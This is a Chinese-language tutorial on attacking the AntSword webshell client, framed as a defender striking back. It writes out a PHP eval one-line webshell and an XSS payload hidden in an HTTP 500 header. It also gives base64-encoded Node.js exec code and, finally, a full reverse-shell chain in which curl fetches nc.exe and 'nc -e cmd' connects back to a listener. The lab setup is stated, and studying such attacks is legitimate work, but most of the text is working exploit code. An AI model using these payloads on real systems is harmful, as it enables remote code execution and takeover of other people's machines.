目录
安装
攻击者获取防守方的权限
防守方反制攻击者
防守方获取攻击者的shell权限
安装
安装蚁剑2.0.7版本
链接:https://pan.baidu.com/s/1t40UxkZ2XuSWG6VCdGzvDw?pwd=8888
提取码:8888
下载好后先打开Loader文件夹下的.exe文件,打开后会要求载入文件
然后选中这个antSword-2.0.7载入,重启刚刚的.exe文件,就可以使用了
攻击者获取防守方的权限
【注意】:我这里演示的虚拟机为防守方,物理机为攻击方(两台都是windows系统)
在虚拟机中,使用phpstudy或者phpenv工具搭建一个php站点,站点下只需放入一个1.php文件
1.php文件中写入一句话木马
<?php eval($_REQUEST[6]); ?>
在物理机中,能访问到该站点下的1.php文件
尝试使用刚刚下载的2.0.7版本的蚁剑进行连接,能够连接受害主机
防守方反制攻击者
在实际场景中,防守方被上传了一句话木马,从而被攻击者控制。
防守方可以在木马文件中写入一些xss代码,入侵者重新连接webshell时,就会触发xss。
防守方修改1.php文件内容,尝试弹窗
<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ?>
在物理机中,双击蚁剑刚刚建立的连接
弹窗代码成功执行
防守方再次修改1.php文件内容
<?PHPheader("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=`,`base64`).toString())'>");?>
上面的代码中包含了一段base64编码的内容,我们解码出来看看
发现执行了一个node.js脚本,exec()函数会创建一个新的子进程来运行'calc'命令,从而弹出计算器
const { exec } = require('child_process');
exec('calc');
再次双击刚刚蚁剑建立的连接,弹出了计算器
防守方获取攻击者的shell权限
我们有没有什么办法获取攻击者的shell权限呢?答案是可以的
先新建一个文件夹,里面放入一个nc.exe文件
nc工具下载链接:https://pan.baidu.com/s/1EJT_8kZ2FbDmdE-w6TSXMA?pwd=8888
提取码:8888
在这个放有nc.exe程序的目录下打开终端,开启一个http服务:python -m http.server
访问页面http://防守方ip:8000
发现创建了一个站点,并且该站点下有一个nc.exe文件可以下载
在防守方开启一个监听,监听8888端口:nc -lvp 8888
接下来构造获取攻击者权限的php代码
下面这个命令表示从刚刚构造的站点下载nc.exe文件,并且通过nc命令进行反弹shell的操作(注意把ip替换成自己的防守方ip):
curl -o nc.exe http://192.168.47.148:8000/nc.exe & nc -e cmd 192.168.47.148 8888
我们把上面这个代码放到刚刚弹计算器的代码中:
const { exec } = require('child_process');
exec('curl -o nc.exe http://192.168.47.148:8000/nc.exe & nc -e cmd 192.168.47.148 8888');
对上面的代码base64编码:
Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2N1cmwgLW8gbmMuZXhlIGh0dHA6Ly8xOTIuMTY4LjQ3LjE0ODo4MDAwL25jLmV4ZSAmIG5jIC1lIGNtZCAxOTIuMTY4LjQ3LjE0OCA4ODg4Jyk7
放到前面php代码的Buffer中,保存该php文件:
<?PHPheader("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2N1cmwgLW8gbmMuZXhlIGh0dHA6Ly8xOTIuMTY4LjQ3LjE0ODo4MDAwL25jLmV4ZSAmIG5jIC1lIGNtZCAxOTIuMTY4LjQ3LjE0OCA4ODg4Jyk7`,`base64`).toString())'>");
?>
当攻击者再次尝试通过蚁剑访问时,会触发php代码里面的内容
防守方监听到攻击者触发了反弹shell的代码,从而获取攻击者的shell权限